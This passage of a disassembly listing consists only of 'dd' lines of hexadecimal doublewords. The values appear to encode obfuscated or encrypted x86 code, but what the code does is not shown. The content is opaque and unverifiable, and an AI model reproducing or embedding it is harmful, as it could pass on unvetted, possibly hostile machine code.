		dd 2CEBC08Bh, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0E1A35C5Ch
		dd 0EC076C22h, 0E60A8844h, 55EE31FBh, 69447BA1h, 0E767C34Eh
		dd 563DF788h, 1622732Ch, 11E8h,	582CB500h, 0FBE770h, 0F87BC5F7h
		dd 5B91AB57h, 0F28B5098h, 11E858h, 0E5CD0000h, 93221E95h
		dd 966BB505h, 0E580F0F9h, 8BE6052Ah, 0E4119D95h, 0C0815E05h
		dd 6F3Dh, 0FE9h, 0F7CAB500h, 0FD7E3D0Fh, 64333D02h, 0E99F6235h
		dd 6BD14BBh, 8FF38145h,	234506A6h, 0E41FD1B5h, 8930FF05h
		dd 0E41F2D8Dh, 10E95905h, 36000000h, 0A7153756h, 1D64B21h
		dd 9EC951B0h, 812497DCh, 0D5BE80F1h, 0D99D2917h, 8105E41Fh
		dd 0B3DB62C1h, 51BD8B2Eh, 8105E424h, 31E3FCF1h,	8F516Ch
		dd 20E58D89h, 0E88105E4h, 751273D3h, 7E8h, 5EADFB00h, 0CCA0DC21h
		dd 68A0Fh, 958B0000h, 5E42621h,	0CFC0815Ah, 66751273h
		dd 0F4BF08Bh, 0FFFF8C85h, 0F78166FFh, 0C08BED0Dh, 178h dup(0)
		dd 13E860h, 69950000h, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h
		dd 0E7BBF3C5h, 585B519Ch, 9E8h,	0F9C06300h, 5A69986Ah
		dd 616051AEh, 9E9615Ah,	19000000h, 0A616DC8Fh, 0B2FBA950h
		dd 14E9h, 146E4C00h, 20829081h,	87471E20h, 0D9C54D0Fh
		dd 0A357C31h, 66609D01h, 613FBFBFh, 9E961h, 276B0000h
		dd 14BB2276h, 5DE6029Ch, 128A0Fh, 0DE90000h, 0E4000000h
		dd 0BD03D24Ah, 33562A1Ch, 5EE37C57h, 8244401h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ACC35646h, 946DF881h
		dd 0F6058A8h, 282h, 66D78A00h, 9D61CE8Bh, 55006AC3h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0F99A6AF3h, 0F32CD6ECh, 6AF970h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0D68B99C3h
		dd 66605941h, 86B9F88Bh, 6172BA37h, 0D98BC08Bh,	0AA15DE81h
		dd 8DBA3EC4h, 806741FDh, 8C0F0FC8h, 6, 8BF28B60h, 0BB6061F7h
		dd 3771A4F0h, 0C54E081h, 666110C1h, 6E9CB8Bh, 0A9000000h
		dd 67B89C8Ah, 0F6815302h, 69B65727h, 0CE95Ah, 0A9E00000h
		dd 6768B3ABh, 6A53C32h,	8B6611FBh, 60FA8BC8h, 854BBF66h
		dd 4A6CBF66h, 68A0F61h,	81000000h, 85C241D3h, 7840F47h
		dd 0F000000h, 189h, 0AE9F800h, 32000000h, 5B8161C2h, 67EB8EE8h
		dd 81C1801Fh, 0F84ED80h, 11E9C2B7h, 5000000h, 0E0BEB1F8h
		dd 4FC7C806h, 7921C525h, 976B14A8h, 53DF8166h, 0D8BF0FB5h
		dd 0C88BF38Bh, 118F0Fh,	0CE90000h, 0E9000000h, 2AFC8F39h
		dd 0BA1DC736h, 8134EB65h, 9A1F6FF0h, 9E968h, 10050000h
		dd 519B21D7h, 66984902h, 4731E181h, 0BA6650F5h,	0F5998EEh
		dd 0C68ADEBFh, 0FC0B70Fh, 781h,	1870F00h, 0F9000000h, 51006ABAh
		dd 0B038BF15h, 0E960302Eh, 11h,	1E74CF12h, 186DF473h, 6D252770h
		dd 0ED84467Fh, 0E961F559h, 10h,	1F0601D4h, 76AB46DCh, 4DD9A98Eh
		dd 0A5A5F55Fh, 0F8FCD78Bh, 84E6BB66h, 0FFB70FFCh, 0B0E68166h
		dd 60EDB614h, 6E9h, 0E9C43100h,	0F5D9E98h, 184h, 6661FC00h
		dd 800FF88Bh, 0
		dd 17890Fh, 12E90000h, 8A000000h, 0E5DCD468h, 49FB9E8Eh
		dd 168276C7h, 832FA93Ch, 870F5639h, 5, 0F62EABBEh, 0B70F5B17h
		dd 6660F5F2h, 0F561DE8Bh, 8B66F9B3h, 8E8CAh, 74900000h
		dd 0CC330579h, 8166EEBCh, 5FC014CEh, 0E9F98B66h, 7, 0BF225239h
		dd 0F9A245Ah, 68Dh, 23F38100h, 6610B1C6h, 0B7AE2ABBh, 0FEB70F05h
		dd 12E8h, 79D3FE00h, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh
		dd 0E98669ACh, 9, 115BB830h, 11242739h,	0D68B5B4Ch, 0BCBE6660h
		dd 6124B4C9h, 5AD18B50h, 0FE5E880h, 13BBFBB7h, 6670A131h
		dd 0A08BDE81h, 3181E781h, 1DB848D3h, 56241DACh,	6160FC60h
		dd 0F565861h, 0E85EDEBFh, 0Bh, 0ACBC2AA2h, 4E436640h, 666E66B5h
		dd 5AFCE1B9h, 5CC98166h, 8166F8ABh, 0F7DB7D8h, 8Ah, 0C0815200h
		dd 218080CCh, 3BBF665Eh, 24EA81FFh, 0F441AA8h, 8153C7B7h
		dd 0AD62F5C9h, 37BB5F37h, 8020372Bh, 8E9DAE0h, 0E2000000h
		dd 0CD1C2EACh, 809A23B5h, 7E990C1h, 12000000h, 4EDE12B5h
		dd 0C281176Ah, 4551E24Ch, 8E9h,	9EBE2700h, 8C212EABh, 1890F03h
		dd 0F8000000h, 3FD381F9h, 0B33FA513h, 0C981665Dh, 8AFC0D82h
		dd 0CE8166D9h, 820F0731h, 3, 0FF18B66h,	0DF8BF7B7h, 2890Fh
		dd 0D08B0000h, 0B39DCB80h, 5E23BE5Bh, 8F0F4468h, 6, 0EA71E281h
		dd 800F31B6h, 3, 51FAB70Fh, 7E960h, 0D8E0000h, 0B23363B5h
		dd 5259617Eh, 28F0Fh, 5B520000h, 0FFE8B5Fh, 0BF0FF0B7h
		dd 0FCFA8BD1h, 0A11FBA66h, 0DE8h, 0D4EC7700h, 0B5D8FE40h
		dd 0BBBFC940h, 0E781E4D3h, 442AE002h, 0B840F59h, 0F000000h
		dd 58Bh, 0A9D7BA00h, 66F946F8h,	0C8ECD081h, 6E9h, 3FB31000h
		dd 521276D7h, 0EE9h, 5E407400h,	0F1E4351Eh, 0A0EA385Bh
		dd 5EF58E0Ah, 66F78B66h, 0E94153BBh, 10h, 9C9654CCh, 0D554A104h
		dd 2647C710h, 62F4B281h, 11E9h,	7E7C6400h, 0D5C7BE2Eh
		dd 0A560DCE1h, 0B288822h, 8C0F7106h, 3,	0E9C7BF0Fh, 0Ah
		dd 2B49C7A2h, 500A5ACDh, 0F60570Dh, 38Ah, 0D38B6600h, 4E5407B9h
		dd 0AE96110h, 0D2000000h, 22CA5ED4h, 0CAA66087h, 0D7F8B91Ah
		dd 890F6A80h, 4, 4850BF66h, 816642B4h, 0B85198DEh, 469F87E2h
		dd 0F18039B0h, 9870F7Ah, 0F000000h, 389h, 8CE68000h, 4486BB9h
		dd 8118B263h, 5BC5DCD7h, 890F6060h, 0
		dd 10E961F9h, 0B8000000h, 3FB2DABCh, 0F28A5F9Ch, 0A605EA97h
		dd 0BE6C5B85h, 6525337Ah, 10E8h, 0B2637E00h, 0C97F564Eh
		dd 0F13752CCh, 0F81E2B24h, 0ABBE66E0h, 0BA665E9Eh, 8A0FE096h
		dd 13h,	0EE9h, 0DF5E2300h, 593CA6AAh, 0AD2D2228h, 0B882CF10h
		dd 5E418ECBh, 0C145E5BAh, 0DE824h, 2A3E0000h, 0F966C6C0h
		dd 384B03A0h, 0F26CAFAh, 108Eh,	0AE800h, 0C1E30000h, 6F2B636Dh
		dd 0EAB4530Ah, 8E0F5B5Bh, 2, 8B0F55B5h,	1, 4860FFCh, 66000000h
		dd 660872BAh, 0E9A684BAh, 5, 0F0DF04A2h, 0BF0F5076h, 816658C0h
		dd 8182A0EAh, 77026CC7h, 41EA8125h, 0F5321EAh, 488h, 10BA6600h
		dd 0E9FA8B1Eh, 7, 0BB987C3Eh, 576541EAh, 5BFFBF0Fh, 66CFB70Fh
		dd 12E9F98Bh, 0BA000000h, 8FD57D95h, 0A6D3BD58h, 987BA58Bh
		dd 3ED2A770h, 0E081664Ch, 14E95161h, 0E9000000h, 0B6BBF471h
		dd 0EFD92B85h, 88017E79h, 0FFB19B41h, 0E94A4C8Bh, 0Ch
		dd 0A8CDE1F4h, 0F1C0AB28h, 0F35CBFFh, 66D08B66h, 0F8962B8h
		dd 387h, 0A9CD8000h, 8A00D580h,	11E9FEh, 40CB0000h, 91721D8Fh
		dd 23E1B23Ch, 50801526h, 5682D2E3h, 810F605Ah, 0
		dd 3800Fh, 0F1800000h, 0DA8B6178h, 0E7B7CF81h, 890F09BAh
		dd 2, 8E9EC8Ah,	0C0000000h, 5312039h, 6695C1BBh, 0E9FEE0BAh
		dd 13h,	3807483Fh, 7EF733F6h, 0BDABE3F7h, 46A9D34h, 0FCC49FE7h
		dd 1800Fh, 66F90000h, 0FCA0FABAh, 220F2EB8h, 820F1Fh, 66000000h
		dd 0E950B1B8h, 12h, 0AB680778h,	9B221680h, 98E17958h, 1BEC0C26h
		dd 8166FA4Ch, 66D46EC2h, 0B5A65DBEh, 5E908h, 0FFAE0000h
		dd 0E979FBEEh, 10h, 0A50C35B6h,	967F3D16h, 0F1E93F65h
		dd 41C449A6h, 0D981D68Bh, 2E4399CAh, 5E9h, 26801B00h, 0F56051A4h
		dd 0D5C7BA66h, 0B70F5161h, 0F535BDFh, 58Fh, 0D7816600h
		dd 0E95A99A0h, 12h, 65B79F10h, 105F4246h, 0C0504761h, 65929D6Ch
		dd 60508573h, 0EE85B53h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch
		dd 0E11BAF9Ah, 5B615B2Ah, 0E280F28Bh, 0E9D78BC6h, 9, 0B8881287h
		dd 2C4FF843h, 10E91Ah, 281C0000h, 830D440Fh, 0CECF0C57h
		dd 0E4B3E738h, 8E98E67h, 0AD000000h, 0EE38CF26h, 534F5B9Eh
		dd 605FC68Ah, 0B8FB8B60h, 520B4651h, 81666161h,	8184C6D1h
		dd 183363C1h, 7CB9665Ch, 0BE9C5h, 0CFE60000h, 0E68ABBF8h
		dd 0DAB4037Bh, 5E93Ah, 88240000h, 0E9B6C16Ah, 13h, 93122829h
		dd 8A2871F5h, 2B8076D5h, 7DACA70Ah, 81E2DF26h, 38BA1FD2h
		dd 0B3D08B22h, 0DE90Dh,	91380000h, 0CB41D8AAh, 9EE28507h
		dd 808660A7h, 0BF0F79E6h, 475BBADBh, 0E8563676h, 0Ah, 7AFCBFF4h
		dd 177C4BD7h, 6E96DB7h,	7A000000h, 6CC78F8Ah, 535A5F3Ah
		dd 58DF8B66h, 6A7851B8h, 0F78B6664h, 0BF0FC88Ah, 0E0BF66F0h
		dd 13E942h, 18530000h, 2A8C72A6h, 0DD695566h, 0E8B6F4E6h
		dd 3CEA843h, 0E3DF81D9h, 803C4DA5h, 0B9F83EE1h,	1BC4C0Dh
		dd 0C28AFC60h, 66C38B61h, 8BEA1CBBh, 8A0F53D3h,	5, 4E68166h
		dd 10E95E84h, 37000000h, 78A57660h, 473E6F9Fh, 0AAD27B67h
		dd 0F53F409Bh, 85C9CE81h, 0B9FC0878h, 1F4449DEh, 168B0Fh
		dd 11E90000h, 8D000000h, 0EAC323ACh, 62DC519h, 0BC65D5B3h
		dd 6564A3F1h, 66F78B66h, 0BF0FCA8Bh, 0D88B66F2h, 20D28166h
		dd 0F1B70F88h, 30E48052h, 0C9BF0F5Bh, 46BDC381h, 0C8804660h
		dd 0D7816626h, 60574F05h, 0E9C1B70Fh, 9, 559BA5EBh, 0CB896C4Ch
		dd 8159614Fh, 1E0C50E1h, 7E95043h, 89000000h, 0AD2567A1h
		dd 665ACB58h, 60663EBAh, 0FC38B66h, 684h, 800F00h, 61000000h
		dd 0A980C681h, 0E8F52C25h, 12h,	0C6AD516h, 6911EB70h, 0DC9B26F1h
		dd 46AF8FE2h, 605F6C34h, 58B0Fh, 81660000h, 8156B6F0h
		dd 33E074D3h, 81666138h, 0E86DB5E2h, 0Fh, 3BB5D503h, 0C3B4CA60h
		dd 14893FC5h, 662D6B5Ah, 6658F18Bh, 0F9AFADBFh,	38C98166h
		dd 0D459B968h, 860F2E29h, 1, 12E8FCh, 6E3C0000h, 0B0F3ECC4h
		dd 25875D13h, 0ACF9DA0Dh, 4662B2EFh, 0D18B665Fh, 3890Fh
		dd 0D3800000h, 19B866E1h, 0F515036h, 8Fh, 0F595B00h, 0E0BEDEBFh
		dd 6003362Fh, 38F0Fh, 8B660000h, 0EE9C1h, 0CC090000h, 8AA3AF12h
		dd 0E4AC205Eh, 3C8F790Eh, 0DFB86661h, 0C1B70F3Eh, 9E951h
		dd 3E680000h, 6DFD6B8Ah, 5975B587h, 2EE08166h, 158C0FBCh
		dd 0E9000000h, 10h, 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h, 507625B6h
		dd 6E9h, 0D20BF400h, 0FF7221Ah,	58Ah, 0EB816600h, 5E8A0A4h
		dd 0ED000000h, 6492C2DDh, 8A5FF38Bh, 0D4B866D1h, 80C28BA5h
		dd 8E856F2h, 9D000000h,	0DB48D3DFh, 0B0C0E5B6h,	0DE9589Ch
		dd 80000000h, 7715870Dh, 4A1EEDF3h, 0BFE176D4h,	13E8h
		dd 326300h, 0BCB5DC44h,	5528D221h, 0B7AEE87Bh, 0DEFE4EAAh
		dd 815EF98Bh, 8EAA62EAh, 8B66603Eh, 61DE8BF3h, 4464BB66h
		dd 8C0FCE8Bh, 0
		dd 0E8D3B70Fh, 0Eh, 0C05297EAh,	9ACB9E5Eh, 0C8FC970h, 0B70FD7E7h
		dd 8B6059F9h, 2FCD80FEh, 66F3B161h, 0C78D781h, 8A0F44B3h
		dd 16h,	11E9h, 2EF3C00h, 129E9C7h, 0A1FAA901h, 0B4BFFCF2h
		dd 0DE8B2026h, 52A6C781h, 0B96632B2h, 0CF8BE2A5h, 18A0F56h
		dd 0F9000000h, 6E85Bh, 448F0000h, 99FCB48Dh, 8B58D78Bh
		dd 28F0FC2h, 8A000000h,	108C0FE1h, 0E9000000h, 0Bh, 78F001h
		dd 9B80864Ah, 50D7AAE6h, 0ED1DF181h, 0E85B78B2h, 10h, 0B4833C90h
		dd 83480B5Ah, 28469B20h, 77F4AD09h, 0C3B70F5Bh,	66601BB7h
		dd 0F1A48BBh, 38Fh, 0C6B70F00h,	7E961h,	7BAA0000h, 0B011A037h
		dd 0F506041h, 87h, 0B8615B00h, 2CCD003Fh, 9E960h, 7E2A0000h
		dd 0A18719CCh, 576CD7F5h, 8A0Fh, 615A0000h, 3840Fh, 0BF0F0000h
		dd 0ECE3B8FAh, 0BE664130h, 0C78B0069h, 8E8h, 0CEAB7E00h
		dd 620A9C9Ch, 81605A6Eh, 5DA1AACBh, 2870F71h, 53000000h
		dd 0F9B7615Bh, 0AE8h, 0CAD9100h, 0B7A0AD3Dh, 0F1C437Ch
		dd 387h, 0DBD58000h, 0DE959h, 0A6C40000h, 919CD966h, 6FBB3B26h
		dd 0FF5CC9Ah, 587h, 0ED09BB00h,	8D0F5364h, 0Ch,	870F60h
		dd 66000000h, 617E1EBFh, 8E9h, 0CC146B00h, 18F77DAFh, 10E83Ah
		dd 0EA330000h, 0E17C1DA9h, 0F3F5A5C5h, 4670AEBh, 870F0C82h
		dd 3, 5BC78B66h, 0F144F5B8h, 27800F03h,	0E8000000h, 12h
		dd 0E3FA831Ah, 0F19EE43Ch, 5C4EB8CDh, 0F3695375h, 0AE9709Fh
		dd 73000000h, 3098685h,	0BC13E182h, 0E8605F67h,	0Dh, 0B4BE1DA3h
		dd 158895D7h, 2B6FF232h, 8E8BBh, 0DB870000h, 0CED4C2D7h
		dd 5E5B4AB7h, 2850Fh, 61600000h, 0DE961h, 0D9B90000h, 40C783FDh
		dd 5B8E18ABh, 520FDB1Fh, 0B1DDEF81h, 0F5A6912h,	783h, 73BB5600h
		dd 5B6BEC45h, 0FE8F98Ah, 0E7000000h, 7B7A9895h,	6BEEAF67h
		dd 58BF30F1h, 0EB81CF0Dh, 62D656DFh, 800F5Eh, 0F000000h
		dd 0BF0FF6BFh, 0D9B0F5D6h, 1E8610BAh, 6E913h, 72170000h
		dd 4B45593h, 80C2B70Fh,	0EF81D3C1h, 56D6927Ah, 0F889F781h
		dd 8D0F7C49h, 0Ah, 5E9h, 0BA034100h, 8A60B98Bh,	13E9D5h
		dd 47380000h, 9767F3B1h, 663AE209h, 227E28A5h, 0F1116333h
		dd 8B0F61FEh, 11h, 0BE8h, 8B948600h, 0C31E0403h, 5500A9B7h
		dd 21B9665Fh, 3DBF66F8h, 0C88B6663h, 66D8BF0Fh,	816BFBBBh
		dd 968110E0h, 0DBB70F39h, 0BF666060h, 8061CA74h, 0E96126DDh
		dd 11h,	0BB7F7805h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah, 6653B081h
		dd 0B2866FB8h, 0F574B2C2h, 66B6EB80h, 0B966D18Bh, 0FF9DE01h
		dd 389h, 0F08B6600h, 0F06CF80h,	180h, 10E8F500h, 0D000000h
		dd 29596F10h, 0B3192051h, 0B6ECD9D6h, 0F5007F0h, 0F59D8BFh
		dd 180h, 8B66FC00h, 8B66F9C3h, 12E9DEh,	4E60000h, 0F74CE53h
		dd 4D4E0BD0h, 8112B68Eh, 0D2CF60E6h, 0F8CF180h,	0FE8D8B7h
		dd 0BD000000h, 5A3C799Dh, 0AE7FC503h, 541C07DCh, 820F9DE6h
		dd 17h,	11E8h, 5FB17B00h, 0EAC6ECC9h, 5984722Eh, 85F4CBE0h
		dd 5A58A1B1h, 38F0Fh, 8B660000h, 2FF3BFFAh, 0AE974C4h
		dd 0FD000000h, 4F628587h, 0C06C3596h, 6664B4E8h, 0E24F081h
		dd 0E914B260h, 10h, 8287E4D3h, 6D3AB33Dh, 78A66ECEh, 0ABDE39E6h
		dd 3463B961h, 0A2B13DD1h, 805BF850h, 8F0F71C6h,	12h, 0BE957h
		dd 0ED890000h, 0A9FC644Ch, 338349EFh, 0D88B5952h, 0E8816653h
		dd 0BA58EE36h, 0BE0AE6Ah, 66F2BF0Fh, 0E926EABBh, 0Dh, 7B4077ECh
		dd 0D9A7FDD5h, 7ADB0CA3h, 66C6B65Ch, 0E99959BFh, 12h, 0AAF77F64h
		dd 7788670Eh, 0FE40D4ECh, 0C940B5D8h, 8166BBBFh, 50628BCBh
		dd 4222B7B9h, 1DBB5E45h, 667785F7h, 8B0F2BBAh, 0E96056D9h
		dd 0Ch,	0A05AC353h, 0DC86DEDAh,	91A8CCFFh, 820F5B61h, 9
		dd 66616060h, 6DAC281h,	0C4B7BE61h, 0E95265C0h,	13h, 564C3747h
		dd 653B587Dh, 42EFFC42h, 952D5A2Eh, 5A8C7396h, 0F18B66F9h
		dd 24BBB866h, 5B5623B6h, 5E8h, 0F4E52200h, 13E9818Fh, 0C2000000h
		dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 0FC59EA42h
		dd 8166F58Ah, 6076FFF1h, 2527AFBAh, 5830F62h, 66000000h
		dd 80F9C681h, 880F6061h, 2, 840FA2B4h, 6, 810Fh, 0E8610000h
		dd 13h,	25F5DFAFh, 35EFC573h, 0DC0ABEFBh, 58443C43h, 6670BFD8h
		dd 5EC0A3B9h, 870Fh, 0DB810000h, 5821CD0Dh, 0AE9h, 0E51BF300h
		dd 674B2013h, 665A09BFh, 0E6FBC281h, 0F21C280h,	8B66CAB7h
		dd 11E8D6h, 0EC780000h,	0A19DF547h, 0F49B7EB3h,	50146F55h
		dd 57735357h, 595A6160h, 0D78B2CB6h, 0CF8B66F8h, 4728B866h
		dd 13E9h, 0A3811900h, 5736BAB4h, 593499E9h, 0AC1D99B0h
		dd 6FB4F653h, 5E8h, 93245900h, 81594B87h, 80E362C0h, 0BF66572Dh
		dd 0E9588F9Bh, 0Ah, 1E2A74EBh, 45137829h, 6E9719Dh, 0E4000000h
		dd 2DA9DA9Dh, 0D3816622h, 8E93EEFh, 0FA000000h,	0ACF63B33h
		dd 661ABFE2h, 8B0FD38Bh, 1Ch, 12E8h, 0F164AF00h, 9E5E9DBh
		dd 4F58A120h, 0A181270Ch, 669791EFh, 595B4EBEh,	8BD18B60h
		dd 0CE961FBh, 22000000h, 3702FFF2h, 268AFB21h, 5760A5AEh
		dd 0BE9h, 4FDD0800h, 1ED4123Bh,	25BC19D3h, 14E85Eh, 81100000h
		dd 0B9E6F874h, 87FB7C8Fh, 3E622A3h, 93E2B8F1h, 0BA66CFC5h
		dd 665F1E20h, 0BE7618BBh, 0CA98F8Eh, 12E9h, 62F2600h, 6CF6FBADh
		dd 72B8617Bh, 85CDEC3Eh, 0F0D8A70h, 584h, 3B80BE00h, 8A0F7DA1h
		dd 3, 815EF557h, 4B9073DBh, 0AE936h, 0D88F0000h, 2F78D56Ch
		dd 3ABFC218h, 0B8B0Fh, 810F0000h, 5, 7BF28166h,	0E940B415h
		dd 14h,	40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h, 6D84C67Eh
		dd 57CF8B66h, 6E8h, 8DF97D00h, 0BA177E17h, 14EFA335h, 0DD805958h
		dd 66C6BF5Fh, 8B665C4Bh, 0F28B66C7h, 0F6E88166h, 0CE9CBh
		dd 0B4EC0000h, 668F43DDh, 80E576A0h, 0B966D580h, 0BE9113Ch
		dd 20000000h, 2AD55634h, 0F7A0ED95h, 0C5808665h, 0F60F8A9h
		dd 380h, 0C38B6600h, 0CE9h, 653F9100h, 5AE2E95Eh, 0AE8DC6E9h
		dd 0CA8B6182h, 0FD0DB80h, 820FD0B7h, 5,	5399A8BEh, 14E960h
		dd 6B5D0000h, 0F210FABEh, 5E625AF5h, 8459488h, 9F21B312h
		dd 10E95A9Eh, 0A1000000h, 0B337D431h, 8B697B34h, 0D86B2786h
		dd 0F5E8F518h, 0BFCE8B60h, 2EAAA527h, 0EE961h, 41200000h
		dd 0CD99C0C3h, 42A979D0h, 0A293D198h, 38A0Fh, 8B660000h
		dd 13B966C7h, 7E890h, 1AFE0000h, 8938D086h, 6658F86Fh
		dd 0E8E88EBBh, 0Eh, 3792C7B5h, 3870C3B1h, 20B10229h, 12E8F1B9h
		dd 1E000000h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh
		dd 5E5FFC28h, 0C38BF98Bh, 7138EB81h, 0BA6639A9h, 66607422h
		dd 0C9E7D881h, 9E8h, 2A15F000h,	0DCAF4555h, 616060B6h
		dd 8166615Bh, 0F2A1AC3h, 1980h,	14E900h, 0B4460000h, 62056E3Fh
		dd 1C4D44CFh, 0DA477B9Ah, 9D5E314Bh, 11E9125Ch,	1A000000h
		dd 1F9B372Ch, 7796711Bh
		dd 2378D93Ah, 42D63EFh,	0CE8h, 0B8496200h, 0CAB6B60Ah
		dd 0B7D8200Ah, 0B8666024h, 0D78B1455h, 810F5E61h, 2, 0B70FF58Ah
		dd 63BA66C3h, 0A1BA660Bh, 0C0BF0F05h, 1CD38166h, 4FBE66BFh
		dd 0B70F608Ah, 0FE8D8h,	547C0000h, 877FB406h, 4C2F0C37h
		dd 0C6687C2Eh, 0DE95Eh,	6A2A0000h, 0B13023EBh, 2ECB2266h
		dd 5B4FEA81h, 0BE9FC61h, 0C8000000h, 27B70147h,	76FEB642h
		dd 5EB64C9Bh, 0ADE78166h, 9FF1813Fh, 60677703h,	14E9h
		dd 0AE0F9200h, 56411DECh, 11825318h, 3ECFFC22h,	0C74B40A7h
		dd 0B261FCD8h, 61F560F7h, 0DE9h, 230FE00h, 0CA3677B2h
		dd 339D7F8Ah, 0E8F813C4h, 0Ah, 0BC9ABF62h, 713CFEBCh, 0FE96C71h
		dd 61000000h, 0C6FA3C99h, 1D12BA58h, 8C0A0E17h,	0F5BB8A2h
		dd 58Fh, 8B666000h, 12E961F0h, 24000000h, 85D0A927h, 59051F45h
		dd 310C6187h, 0B4410B59h, 5860FD0h, 66000000h, 0D2EBD181h
		dd 8E85151h, 0E5000000h, 61F1EA4Bh, 58B67856h, 0BE665E5Bh
		dd 0B70FAB18h, 0BE8F0h,	0E7790000h, 55BC293Ah, 0E7E20447h
		dd 59F28BDDh, 850FD08Bh, 5, 0D78B6656h,	0FC78B5Eh, 8B66DABFh
		dd 0BE9FEh, 5F6F0000h, 706EF0E7h, 372EA93Dh, 0AE85Dh, 28180000h
		dd 98B23D7Bh, 0DF385621h, 0B8C0Fh, 6E90000h, 0E1000000h
		dd 1FB95670h, 0B0BA5969h, 666D8810h, 1624C381h,	0F9BF0F60h
		dd 0F9BF0F50h, 830F615Ah, 2, 0D9810DB0h, 505D0923h, 80D98B66h
		dd 0D88A1FECh, 8AC28B66h, 800F60D0h, 5,	0D6263B8h, 6661F835h
		dd 0DBC8F681h, 0C087F1BFh, 12E85Ah, 0AC600000h,	0A6004424h
		dd 10A70EEAh, 1CAABD99h, 0FA85CFA9h, 0BE18166h,	0F38A5BCAh
		dd 148E0Fh, 0FE90000h, 14000000h, 53E3DF2Dh, 578145BFh
		dd 67542B0Ah, 0B866B5FEh, 0B96635DCh, 8DBEF8EFh, 0B81E661Ch
		dd 6353A988h, 0C811F381h, 8B663758h, 28A0FDFh, 0B2000000h
		dd 78D0F40h, 52000000h,	5464CFBEh, 6E95E75h, 66000000h
		dd 943B7952h, 0FE8B66EEh, 10E9h, 0ECEFC600h, 0E6AE296Ch
		dd 7A496487h, 5380C92h,	0B6FE8BCCh, 0FEB70FA8h,	9E9h, 1CCE2B00h
		dd 0E459D06Dh, 8B66FEA5h, 81CA81D8h, 66771FF4h,	609665B9h
		dd 9D5DC981h, 61F84174h, 14E9h,	3146D200h, 0C5539173h
		dd 0E006C88Fh, 0FB8E78FEh, 93215FD9h, 0CE932h, 7290000h
		dd 0A102B943h, 0E81108AAh, 0BF0F5CD4h, 19D080F3h, 8BC58A60h
		dd 8B6661C6h, 3EDB80CEh, 6BB2DA8Bh, 1C6FDE81h, 0FE83290h
		dd 50000000h, 85232E9Dh, 0B1A486F6h, 6A8644B2h,	0FA8B101Fh
		dd 0DAB9665Eh, 0FDE8B3Bh, 582h,	0D1816600h, 57609598h
		dd 0F5B5E53h, 68Dh, 0EDE18100h,	61738428h, 63BF6660h, 28F0F75h
		dd 60000000h, 0AE96161h, 0F0000000h, 0EDBCA1DCh, 4EC71121h
		dd 0CE951h, 0F41C0000h,	2FC4FFA4h, 195556B4h, 0C88B8BDEh
		dd 0D4F0BA66h, 0F1CA8166h, 10E9DFh, 4B7D0000h, 0AC8374E2h
		dd 1031A5B9h, 12F24723h, 9E9DE05h, 38000000h, 0E0DA5A7Dh
		dd 0FC9EE942h, 0E960C18Ah, 12h,	4D43BB4Fh, 0E9879B1h, 59F0A8E5h
		dd 7F551C4h, 0EE9D71Fh,	87000000h, 59310C61h, 0D0B4410Bh
		dd 0F2E1D366h, 0BA66613Ch, 0D08BD094h, 0D08BD78Bh, 6E8565BFh
		dd 3840F77h, 80000000h,	0F38142DEh, 508F481h, 8C0FB866h
		dd 0BE9h, 0CC7C7200h, 0C59408B7h, 0A726D5FAh, 16810Fh
		dd 0BE80000h, 9D000000h, 0E00B3284h, 3390188Dh,	8166ADE9h
		dd 5AAAD5CFh, 5890Fh, 81660000h, 66E6B0C8h, 0BA66F88Bh
		dd 0D38B62C6h, 0DE816AB3h, 474532Dh, 8E8C2B4h, 92000000h
		dd 0D192518Bh, 5A6BA1E5h, 60F80FB1h, 8E8FCh, 26E80000h
		dd 0BC0451Ch, 8B6685DEh, 0E9615FCAh, 13h, 32FF62D5h, 0AFF27224h
		dd 0E2BAC803h, 3364E10Dh, 0F51537Dh, 689h, 62C08100h, 666D3025h
		dd 5236B4BBh, 0F5833B0h, 28Bh, 0B3D38B00h, 0DE94Dh, 0A4620000h
		dd 88E1491Dh, 0E6B1B0A1h, 0B1238E10h, 4870FB7h,	66000000h
		dd 814ACABAh, 0E62D2CE8h, 8166F520h, 66FD32EAh,	0FA3C7BBh
		dd 7E9C8B7h, 0BC000000h, 0A78BD844h, 8160AF87h,	6B3A7AEBh
		dd 1ABB6608h, 81F86176h, 217758F1h, 2FCDBA65h, 66603137h
		dd 420FE881h, 61D1B70Fh, 15830Fh, 10E90000h, 0C9000000h
		dd 350D0E70h, 88F17311h, 89D623D1h, 81E8760Dh, 0C825D9E2h
		dd 90C2806Eh, 0B18FE3BFh, 0FA8AF828h, 118C0Fh, 66600000h
		dd 75C1CA81h, 5E9h, 0F330F500h,	51613B34h, 81665BFCh, 603C6BD1h
		dd 0FE9h, 555DA900h, 4383995Eh,	54D275D5h, 66DEBA0Ch, 6106D780h
		dd 0B870Fh, 5E80000h, 62000000h, 62998FFCh, 0BE958h, 31A90000h
		dd 97A9942Ch, 0BE4570Bh, 0BBC18162h, 0F7B2A5Fh,	0CE81CBB7h
		dd 6DB24B8Eh, 4FBAD881h, 0AE80F61h, 53000000h, 5CF494A9h
		dd 0AF3B2ADBh, 9E972h, 10DF0000h, 0A43191E1h, 5FCB5B5Ah
		dd 8A0F47B0h, 1, 0D88166F5h, 0EB80C716h, 14E95287h, 0B3000000h
		dd 4576401Ch, 86228382h, 97064928h, 3D68F9DEh, 5947F591h
		dd 5E9h, 0CD08D600h, 0BA6602C9h, 0D48A0795h, 8850Fh, 840F0000h
		dd 2, 870F5950h, 0Bh, 5810Fh, 81660000h, 663E78E2h, 0F9F71BFh
		dd 1D85h, 17820F00h, 0E9000000h, 12h, 0F9AAC813h, 740C2E5Ch
		dd 94CBC005h, 68151E3Eh, 665204E9h, 0A403F381h,	0C1815059h
		dd 75526001h, 95BE665Ah, 0CA8B6608h, 34815AB8h,	0FE95328h
